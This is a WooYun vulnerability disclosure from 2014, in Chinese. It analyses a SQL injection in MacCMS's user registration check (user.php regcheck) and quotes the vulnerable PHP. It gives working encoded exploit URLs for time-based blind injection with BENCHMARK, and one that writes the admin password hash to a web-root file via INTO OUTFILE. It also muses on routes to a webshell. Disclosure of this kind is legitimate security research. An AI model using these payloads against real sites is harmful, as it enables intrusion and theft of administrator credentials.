当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-066102

漏洞标题:苹果CMS继续无视所有过滤进行SQL注入,第二发

相关厂商:maccms.com

漏洞作者: magerx

提交时间:2014-06-24 19:46

修复时间:2014-09-22 19:48

公开时间:2014-09-22 19:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-24: 细节已通知厂商并且等待厂商处理中
2014-06-25: 厂商已经确认,细节仅向厂商公开
2014-06-28: 细节向第三方安全合作伙伴开放
2014-08-19: 细节向核心白帽子及相关领域专家公开
2014-08-29: 细节向普通白帽子公开
2014-09-08: 细节向实习白帽子公开
2014-09-22: 细节向公众公开

简要描述:

这次这个地方主要是想绕过一个限制达到getshell的目的,但是本人水平有限,所以希望大家可以讨论下。

详细说明:

估计依旧小厂商,当然这倒不要紧。
继续上次的注入,如果说上次是因为单词写错的缘故,这次就不仅仅是粗心所造成的了。
接着看代码:
同样index.php开头:
上次分析过,这次直接看

if(empty($ac)){ $ac='vod'; $method='index'; }

$colnum = array("id","pg","yaer","typeid","classid");//依然是这里
if($parlen>=2){
$method = $par[1];
for($i=2;$i<$parlen;$i+=2){
$tpl->P[$par[$i]] = in_array($par[$i],$colnum) ? intval($par[$i+1]) : urldecode($par[$i+1]);
}
}
if($tpl->P['pg']<1){ $tpl->P['pg']=1; }
unset($colnum);
$acs = array('vod','art','map','user','gbook','comment','label');
if(in_array($ac,$acs)){
$tpl->P["module"] = $ac;
include MAC_ROOT.'/inc/module/'.$ac.'.php';//继续看module下的文件
}
else{
showErr('System','未找到指定系统模块');
}


为了避免说是刷漏洞之类的,我们这次看/inc/module/user.php:第152行

elseif($method=='regcheck')
{
$status="true";
$s=$tpl->P['s'];//s是哪里来的呢
$t=$tpl->P['t'];//t就是哪里来的
switch($t)//我们看到下面$s依然没有做任何过滤,同时我们之前就可以绕过一切防护
{
case "u_name": $where = " AND u_name='" .$s ."'";break;
case "u_email": $where = " AND u_email='" . $s ."'";break;
case "u_qq": $where = " AND u_qq='" . $s ."'";break;
case "u_code": if ($_SESSION["code_userreg"] != $s){ $status="false"; } break;
default : $where="";break;
}
if($t!="u_code" && $status=="true"){//也就是说$t为u_name,u_email,u_qq时都可以注入了
$sql = "SELECT count(*) FROM {pre}user WHERE 1=1 " . $where;
$num = $db->getOne($sql);
if($num>0){ $status= "false"; }
}
echo "{\"res\":".$status."}";;
}


不知道开发看到这里有没有明白各种漏洞为什么会产生呢~
注入比较简单,但这里我们却只能延时注入,来看下mysql_log:

maccms3.png


当然这里你无法union,只能基于时间盲注入,配合IF和BENCHMARK你依然可以读数据,
但总觉得不够满足,一直想getshell,所以不管如何先找到路径,看了下代码也没找到好的爆路径的地方,只好野蛮一点:

http://localhost/maccms8_mfb/index.php?m=user-regcheck-s-123%2527%2520and%2520BENCHMARK%252850000000%250A%252Cmd5%2528%2527test%2527%2529%2529%2523-t-u_name


macms.png


得到路径了,但是index.php里的一段代码让我瞬间傻了,

$m = be('get','m');
if(strpos($m,'.')){ $m = substr($m,0,strpos($m,'.')); }


也就是说其实传来的参数只会获取第一个点号出现之前的部分,
那我们怎么getshell啊,愁死了,
接下来我就开始各种YY:
1.读取密码写入无后缀文件中:【可是这样你无法下载啊】

http://localhost/maccms8_mfb/index.php?m=user-regcheck-s-123%2527%2520union%2520select%2520m_password%2520from%2520mac_manager%2520into%2520outfile%2520%2522C%253A%255C%255CAppServ%255C%255Cwww%255C%255Cmaccms8_mfb%255C%255Cinc%255C%255Ccommon%255C%255Ctest%2522%2523-t-u_name


maccms2.png


2.利用NTFS ADS建立目录,类似

select 'xxx' into dumpfile 'f:\\test::$INDEX_ALLOCATION';


可是这又能干嘛
3.继续YY,可不可以以16进制方式写入路径到无后缀文件,然后再outfile到读取出来的路径中,死心吧,语法压根不可行。
4.mysql有能像oracle那样远程将数据发送到其他服务器的函数么,哎继续死心
5.还是老老实实挖一个文件包含吧
…………求大家支援

漏洞证明:

maccms3.png


macms.png


maccms2.png

修复方案:

~。~

版权声明:转载请注明来源 magerx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-06-25 17:30

厂商回复:

看来360防护脚本防护的补全面啊,改进一下。

最新状态:

暂无